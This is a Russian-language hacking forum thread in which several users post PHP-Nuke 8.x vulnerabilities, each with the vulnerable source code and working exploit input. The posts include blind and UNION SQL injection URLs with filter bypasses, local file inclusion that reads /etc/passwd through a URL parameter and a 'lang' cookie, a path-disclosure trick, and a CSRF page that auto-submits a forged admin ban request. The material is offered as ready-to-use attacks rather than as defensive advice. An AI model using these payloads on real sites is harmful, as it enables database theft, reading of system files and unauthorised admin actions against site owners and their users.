Старый 05.07.2010, 00:48   #11
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

php-nuke <= 8.0 (Слепая SQL инъекция: Получение данных из БД)

Требуется: мейждик квотс = офф

И опять тот же файл (/modules/Your_Account/index.php), функция ...activate...

PHP код:
function activate($username$check_num) {
global 
$db$user_prefix$module_name$language$prefix;
$username filter($username"nohtml"1);
$past time()-86400;
$db->sql_query("DELETE FROM ".$user_prefix."_users_temp WHERE time < $past");
$sql "SELECT * FROM ".$user_prefix."_users_temp WHERE username='$username' AND check_num='$check_num'";
$result $db->sql_query($sql);
if (
$db->sql_numrows($result) == 1) {
$row $db->sql_fetchrow($result);
$user_password htmlspecialchars(stripslashes($row['user_password']));
if (
$check_num == $row['check_num']) {
$db->sql_query("INSERT INTO ".$user_prefix."_users (user_id, username, user_email, user_password, user_avatar, user_avatar_type, user_regdate, user_lang) VALUES (NULL, '".$row['username']."', '".$row['user_email']."', '$user_password', 'gallery/blank.gif', '3', '".$row['user_regdate']."', '$language')"); 
Судь кода - перетащить пользователя из таблицы с временными пользователями в нормальную таблицу пользователей.

Вообщем если не считать общей фильтрации переменных, то $check_num никак не фильтруется. Но из-за строки:

PHP код:
if ($check_num == $row['check_num']) { 
Создать пользователя с левыми данными не удасться. Но можно раскрутить как слепую инъекцию.

Юзаем запросы (как в обычной слепой инъекции), но не забываем про то что скобки фильтруются и это нужно обходить:

Код:
http://site/modules.php?name=Your_Account&op=activate&username=grey123&check_num=1'+or+substring(version(%2F%2A%00%2A%2F%29,1,1%2F%2A%00%2A%2F%29=3--+
Код:
Пользователя с такими данными в нашей базе данных не найдено.
Вы можете пройти регистрацию здесь.


Эта ошибка связана с неудачей/ошибкой при/в выполнение запроса в БД.


Код:
http://site/modules.php?name=Your_Account&op=activate&username=grey123&check_num=1'+or+substring(version(%2F%2A%00%2A%2F%29,1,1%2F%2A%00%2A%2F%29=4--+
Код:
Данные для пользователя недействительны.
Пожалуйста, проверьте вводимые данные, или если Вы еще не зарегистрированы, то пройдите регистрацию здесь.


Эта ошибка связана с вот этим куском кода:

PHP код:
if ($check_num == $row['check_num']) { 
Код:
http://site/modules.php?name=Your_Account&op=activate&username=grey123&check_num=1'+or+substring(version(%2F%2A%00%2A%2F%29,1,1%2F%2A%00%2A%2F%29=5--+
Код:
Пользователя с такими данными в нашей базе данных не найдено.
Вы можете пройти регистрацию здесь.

Не сложно догадаться что если выводится сообщение
:


Данные для пользователя недействительны.
Пожалуйста, проверьте вводимые данные, или если Вы еще не зарегистрированны, то пройдите регистрацию здесь.

то запрос выполнен правильно.

!!!В оригинальной версии текст сообщения будет на английском (его не смотрел), это следует учесть!!!

2008 © Grey

Последний раз редактировалось Grey; 05.07.2010 в 01:09..
Grey вне форума   Ответить с цитированием
Старый 05.07.2010, 00:59   #12
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

php-nuke <= 8.0 (SQL инъекция: Получение данных из БД)

Требуется: мейждик квотс = офф

В меню выбираем Добавить новость (Добавить новость).
Лезим в исходник страницы (html) и находим в нём строку:

Код:
<option  value="1">бла бла бла
Меняем её на такую строку (именно с переходом на новую строку):

Код:
<option  value="-1'
union select 1111,2222#">бла бла бла
Нажимаем "Применить изменения".
Затем заполняем данные на странице и в поле "Тема:" выбираем "бла бла бла". Затем нажимаем кнопку "Просмотр"!!! И смотрим исходник страницы, в нем будет что то вроде этого:

Код:
<img src="images/topics/2222" border="0" align="right" alt="1111" title="1111">
Это и есть вывод инъекции. Данные из первой выводимой колонки фильтруются, так что выводим всё через вторую.
Вот и всё добавлять (отправлять) новость не нужно, только предпросмотр.

2008 © Grey

Последний раз редактировалось Grey; 05.07.2010 в 01:09..
Grey вне форума   Ответить с цитированием
Старый 05.07.2010, 01:05   #13
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

php-nuke <= 8.1 (Локальный инклуд)

Требуется:
Мейджик квотс = офф
Права админа

Может возникнуть вопрос: зачем оно нужно если нужны права админа?
Локальный инклуд может помочь с заливкой шелла (там напрямую через опцию в админке его не залить - ничего такого там нет).

Файл: /modules.php

PHP код:
if (stripos_clone($name"..") OR ((stripos_clone($modstring,"&file=nickpage") || stripos_clone($modstring,"&user=")) AND ($name=="Private_Messages" OR $name=="Forums" OR $name=="Members_List"))) header("Location: index.php"); 
Вот такая вот проверка - если в имени будут две точки то скрипт средиректит нас на главную страницу - занятно, т.к. после этого нет функции die() и скрипт продолжит работу и результат работы можно увидеть, к примеру достаточно отключить перенаправление в настройках браузера (кстати об этом написано в статье Роковые ошибки пхп ч2).

Код:
http://test1.ru/modules.php?name=Recommend_Us/../../&file=robots.txt%00
http://test1.ru/modules.php?name=Recommend_Us/../../../../&file=/etc/passwd%00
2008 © Grey

Последний раз редактировалось Grey; 09.08.2010 в 11:16..
Grey вне форума   Ответить с цитированием
Старый 31.07.2010, 17:08   #14
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

PHP-Nuke 8.1 FINAL Released(Локальный инклуд)

Требуется:
Мейджик квотс = офф

Файл: /mainfile.php

PHP код:
if (!defined('FORUM_ADMIN')) { 
    if ((isset(
$newlang)) AND (stristr($newlang,"."))) { 
        if (
file_exists("language/lang-".$newlang.".php")) { 
            
setcookie("lang",$newlang,time()+31536000); 
            include_once(
"language/lang-".$newlang.".php"); 
            
$currentlang $newlang
        } else { 
            
setcookie("lang",$language,time()+31536000); 
            include_once(
"language/lang-".$language.".php"); 
            
$currentlang $language
        } 
    } elseif (isset(
$lang)) { 
        include_once(
"language/lang-".$lang.".php"); 
        
$currentlang $lang
    } else { 
        
setcookie("lang",$language,time()+31536000); 
        include_once(
"language/lang-".$language.".php"); 
        
$currentlang $language
    } 

параметр $lang берется из кукисов, конкретно lang, слешируется для скульзапросов, но никак не проверяется на LFI, любым редактором кукисов вписываем вместо текущего языка:

../../../../../../../../../../../etc/passwd%00 и у нас LFI (не надо даже быть зарегенным юзером)

PS: упс, оказывается уже копали до меня(

Код:
http://www.securityfocus.com/archive/1/462443
но в итоге актуально и для этой версии нюка

Последний раз редактировалось Pashkela; 31.07.2010 в 17:25..
Pashkela вне форума   Ответить с цитированием
Старый 26.12.2010, 12:29   #15
AFoST
 
Аватар для AFoST
 
Регистрация: 01.08.2010
Сообщений: 79
Репутация: 43
По умолчанию

Вроде, не было такого. Выкладывал в моа или роа в свое время.

sql-injection

index.php
PHP код:
function main() {
    ...
    if (!
$module_type || !isset($module_type)) {
    ...
    } else {
        
//    Подготовка модуля, сбор настроек для конкретного типа контента
        
include("prepare.php");
...
}

switch(
$func){
    default:
    
main();
    break;
    ...
    }
?> 
prepare.php
PHP код:
<?
if (!defined('MODULE_FILE')) die ("You can't access this file directly...");
//Определение настроек данного типа контента
$prepare "select welcome_text, num_def, num_main, display_type, border, part1, part2, content1, content2 from ".$prefix."_".$module_small."_".$module_type."_config";
...
?>
1. заходим на
Код HTML:
http://phpnuke/modules.php?name=[B]Cat_all[/B]
2. видим список. выбираем. открывается ссылка наподобие
Код HTML:
http://phpnuke/modules.php?name=[B]Cat_all&module_type=<туткакаятохерня>[/B]
3. имеем sql-injection
Код HTML:
http://phpnuke/modules.php?name=Cat_all&module_type=<туткакаятохерня>_config+where+1+and+1=0+union+select+table_name,2,3,4,5,6,7,8,9+from+information_schema.tables--+-
AFoST вне форума   Ответить с цитированием
Старый 26.12.2010, 12:32   #16
AFoST
 
Аватар для AFoST
 
Регистрация: 01.08.2010
Сообщений: 79
Репутация: 43
По умолчанию

sql-injection. Модуль Search_Cart. Выкладывал в моа или роа в свое время.
уязвима переменная $_POST['query']

search_results(): Z:\home\phpnuke\www\modules\Search_Cart\index.php
PHP код:
<?
function search() {
...
    (isset(
$_POST['query']) ? $query=filter(rawurldecode($_POST['query']),"nohtml") : $query=filter(rawurldecode($_GET['query']),"nohtml"));
    
$query=trim($query);
    
$query=strtr($query,"*%_?","%  _"); // фильтрация!!!!! 
... 
    
search_form($query$pname$stype); // выводит лишь хтмл-форму
...
    
search_results($query);
...
}

function 
search_results($query) {
...
        
$query urldecode($query);
        
$query_words explode(" "$query);
        
$the_query htmlentities($query);
        for(
$i 0$i count($query_words); $i++){
                
$catquerylist .= "title LIKE '%$query_words[$i]%' OR cdescription LIKE '%$query_words[$i]%' OR ldescription LIKE '%$query_words[$i]%' OR keywords LIKE '%$query_words[$i]%'";
                
$prodquerylist .= "prodCode LIKE '%$query_words[$i]%' OR prodName LIKE '%$query_words[$i]%' OR prodSInfo LIKE '%$query_words[$i]%' OR prodInfo LIKE '%$query_words[$i]%' OR prodXInfo LIKE '%$query_words[$i]%' OR prodModel LIKE '%$query_words[$i]%' OR keywords LIKE '%$query_words[$i]%'";
                if(
$i count($query_words)-1){
                        
$catquerylist .= " AND ";
                        
$prodquerylist .= " AND ";
                }
        }
...
    if(
$query != ''){
...
                
$catResult $db->sql_query("select category_id from ".$prefix."_cart_categories where $catquerylist ORDER BY title, parentid");
                
$catTotal $db->sql_numrows($catResult);
...
?>
фильтруется все разделители, помимо табуляции. так же фильтруется подчёркивание, что плохо сказывается на обращениb к таблице information_schema.tables

exloit:
Код HTML:
http://phpnuke/modules.php?name=Search_Cart
в поиске:
Код HTML:
'%09and%091=0%09union%09select%091,2%09--%20-
AFoST вне форума   Ответить с цитированием
Старый 26.12.2010, 12:33   #17
AFoST
 
Аватар для AFoST
 
Регистрация: 01.08.2010
Сообщений: 79
Репутация: 43
По умолчанию

раскрытие путей

Z:\home\phpnuke\www\includes\core\theme_normal.php
PHP код:
function thememanualbox($title$content) {
    global 
$ThemeSel;
    if ((
$blocktemplate == "")) {
        
$blocktemplate "default.html";    
    }
    echo 
$blocktemplate;
    
$tmpl_file "themes/".$ThemeSel."/blocks+/$blocktemplate";
    
$thefile implode(""file($tmpl_file));
    
$thefile addslashes($thefile);
    
$thefile "\$r_file=\"".$thefile."\";";
    eval(
$thefile);
    print 
$r_file;

exploit:
Код HTML:
http://phpnuke/modules.php?name=Cat_all&file[]=
AFoST вне форума   Ответить с цитированием
Старый 31.12.2010, 05:17   #18
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
Smile CSRF(core 8.0)

Дырка в ядре(8.0)
требования:НЕТ
Подделка запросов.
код mainfile.php:
вроде есть какая-то "защита"
PHP код:
// Posting from other servers in not allowed
// Fix by Quake
// Bug found by PeNdEjO

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (isset(
$_SERVER['HTTP_REFERER'])) {
        if (!
stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'])) {
            die(
'Posting from another server not allowed!');
        }
      } else {
        die(
$posttags);
      }

НО
достаточно чтобы в реферере был HTTP_HOST(который можно задать например get параметром)
сплойт:
PHP код:
<html>
<body>
<?php 
$act
=array(ip1=>12,ip2=>12,ip3=>122,ip4=>122,reason=>"TEST TEST",op=>"save_banned");
$host=$_GET['cc'];
$src='http://'.$host.'/admin.php';
echo 
'<form action="'.$src.'" method="POST">';
foreach(
$act as $key => $value)
{
    echo 
'<input type="hidden" name="'.$key.'" value="'.$value.'">';
}
echo 
'</form>';

?>
</body>
</html>
<script>
document.forms[0].submit();
</script>
(c) life_glider at 31.12.2010. rdot.org
Happy New Year
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot